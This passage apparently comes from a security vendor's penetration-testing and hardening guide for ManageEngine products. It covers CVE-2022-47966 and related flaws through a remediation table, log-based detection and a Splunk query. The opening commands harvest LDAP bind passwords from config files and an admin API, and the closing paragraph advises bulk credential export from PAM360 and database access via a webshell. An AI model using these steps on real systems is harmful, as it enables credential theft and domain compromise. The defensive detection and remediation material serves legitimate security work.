cat /opt/manageengine/adselfservice/conf/adsettings.conf 2>/dev/null
# ADSelfService Plus stores bind credentials — extract via admin API
curl -sk -b admin_session.txt \
"http://TARGET:8888/api/domainSettings" \
-H "Accept: application/json" | python3 -m json.tool | grep -i "password\|binddn"
# All ManageEngine products that integrate with AD store LDAP bind credentials
# These are often a service account with broad read access across the directory
# Common configuration file locations containing LDAP credentials
$ME_PRODUCTS = @(
"C:\ManageEngine\ServiceDesk",
"C:\ManageEngine\ADManager Plus",
"C:\ManageEngine\ADSelfService Plus",
"C:\ManageEngine\ADAudit Plus",
"C:\ManageEngine\PAM360"
)
foreach ($PROD in $ME_PRODUCTS) {
Get-ChildItem "$PROD\conf\" -Recurse -Include "*.conf","*.xml","*.properties" \
-ErrorAction SilentlyContinue |
Select-String -Pattern "password|binddn|ldap|activedirectory" -SimpleMatch |
Where-Object { $_.Line -notmatch "#" } |
Select-Object Path, LineNumber, Line
}
# Linux equivalent
for CONF_DIR in /opt/manageengine/*/conf/; do
echo "=== $CONF_DIR ==="
grep -r -i "password\|binddn\|ldap\|activedirectory" "$CONF_DIR" \
--include="*.conf" --include="*.xml" --include="*.properties" 2>/dev/null \
| grep -v "^Binary"
done
Ironimo's automated scanning engine runs nuclei CVE templates, default credential checks, and API endpoint enumeration across ManageEngine products — identifying CVE-2022-47966 exposure, open admin consoles, and default credentials before attackers do.
Start free scan| Finding | Risk | Remediation |
|---|---|---|
| CVE-2022-47966 — SAML bypass RCE | Critical | Apply ManageEngine security patches immediately (product-specific build numbers published in advisory). If SAML SSO is not in use, disable the SAML configuration entirely via the Authentication settings page. If SAML is required, verify the patched build is installed before re-enabling. |
| CVE-2021-44077 — ServiceDesk Plus unauthenticated file upload | Critical | Upgrade ServiceDesk Plus to build 11306 or later. Block external access to /RestAPI/ImportTechnicians at the WAF or reverse proxy level as an interim control. Audit web root for uploaded JSP files. |
| CVE-2022-35405 — PAM360 / PMP XMLRPC deserialization | Critical | Upgrade PAM360 to build 5500+ and Password Manager Pro to build 12101+. The ExportImport API endpoint should be restricted to management VLAN IPs only via firewall rules. |
| Default administrator credentials unchanged | Critical | Change default passwords on all ManageEngine products immediately post-installation. Enable MFA for all admin accounts. Enforce a minimum password policy through ManageEngine's password policy settings. |
| ManageEngine products exposed directly to the internet | High | Place all ManageEngine consoles behind a VPN or Zero Trust access gateway. These products should never be directly internet-accessible. If remote access is required, enforce certificate-based MFA at the application layer. |
| ADManager Plus configured with Domain Admin service account | High | Create a dedicated service account with only the minimum AD permissions required. Use Microsoft's "tiered administration" model — ADManager Plus should not hold Domain Admin rights in most configurations. |
| Embedded PostgreSQL accessible without password | High | Configure a strong superuser password on the embedded PostgreSQL instance. Bind pgsql to 127.0.0.1 only. Restrict OS-level access to the ManageEngine installation directory to the service account only. |
| API keys long-lived and not rotated | Medium | Implement API key rotation policy (90-day maximum lifetime). Audit all issued API keys via admin console. Remove API keys for deprovisioned users immediately. Enable API access logging. |
| Backup files containing credential databases accessible | High | Move backup archives off the ManageEngine server to a separate, access-controlled backup storage system immediately after creation. Encrypt backup archives. Restrict backup directory ACLs to the service account and backup operators only. |
| SAML SSO enabled but not in active use | High | Disable unused authentication methods. If SAML was ever enabled and the product is unpatched, treat the environment as potentially compromised and perform an incident response assessment before patching. |
# CVE-2022-47966 detection — look for SAML responses with self-signed certs
# ManageEngine application log (Windows):
# C:\ManageEngine\ServiceDesk\logs\access_log.txt
# Look for POST requests to SamlResponseServlet from unexpected source IPs
# Parse access logs for SAML exploitation attempts
grep "SamlResponseServlet" \
"C:\ManageEngine\ServiceDesk\logs\access_log.txt" | \
grep "POST" | awk '{print $1, $7, $9}'
# CVE-2021-44077 detection — unauthorized file uploads
# Check for unexpected JSP files in the web root
find "C:\ManageEngine\ServiceDesk\webapps\ROOT\" -name "*.jsp" \
-newer "C:\ManageEngine\ServiceDesk\webapps\ROOT\index.jsp" 2>/dev/null
# Linux equivalent
find /opt/manageengine/servicedesk/webapps/ROOT/ -name "*.jsp" \
-newer /opt/manageengine/servicedesk/webapps/ROOT/index.jsp 2>/dev/null
# Check for access to the ImportTechnicians endpoint
grep "ImportTechnicians" \
/opt/manageengine/servicedesk/logs/access_log.txt | grep "POST"
# PAM360 — detect bulk credential export attempts
grep "ExportImport\|/api/pam/Account.*LIST" \
/opt/manageengine/pam360/logs/access_log.txt | \
grep -v "127.0.0.1\|MANAGEMENT_IP"
# Detect new admin account creation (indicator of persistence)
# ServiceDesk Plus admin audit log
curl -sk -b admin_session.txt \
"http://TARGET:8080/api/v3/audit?category=UserManagement" \
-H "APIKEY: $APIKEY" | python3 -m json.tool | \
grep -i "admin\|created\|added" | tail -20
# SIEM correlation — Splunk SPL for ManageEngine exploitation
# index=webserver sourcetype=access_combined
# (uri="/SamlResponseServlet" method=POST)
# OR (uri="/RestAPI/ImportTechnicians" method=POST)
# OR (uri="/api/pam/ExportImport" method=POST)
# | stats count by src_ip, uri, http_response_code
# | where count > 2
ManageEngine products present an unusually high-value attack surface precisely because of their role in enterprise IT: they hold the keys to everything. CVE-2022-47966 is the defining vulnerability of the ManageEngine ecosystem — affecting 24 products simultaneously and requiring only that SAML SSO was ever configured, it represents one of the most impactful single CVEs ever disclosed against an enterprise software suite. Combine this with the pattern of default credentials, predictable embedded database locations, and AD integration using over-privileged service accounts, and a single ManageEngine deployment represents a potential path to full domain compromise.
For authorized assessments: begin with an nmap sweep across the full ManageEngine port range (7272, 8020, 8060, 8080, 8081, 8082, 8282, 8383, 8400, 8443, 8444, 8888, 9090); fingerprint product and build version from the login page and version API endpoints; check for SAML SSO configuration before attempting CVE-2022-47966; test default credentials in parallel; and if access is gained to PAM360 or Password Manager Pro, prioritize bulk credential export before any other post-exploitation activity. The embedded PostgreSQL instance is almost always accessible from the service account context provided by a webshell and contains a full plaintext (or easily decryptable) credential database that typically includes every privileged account in the environment.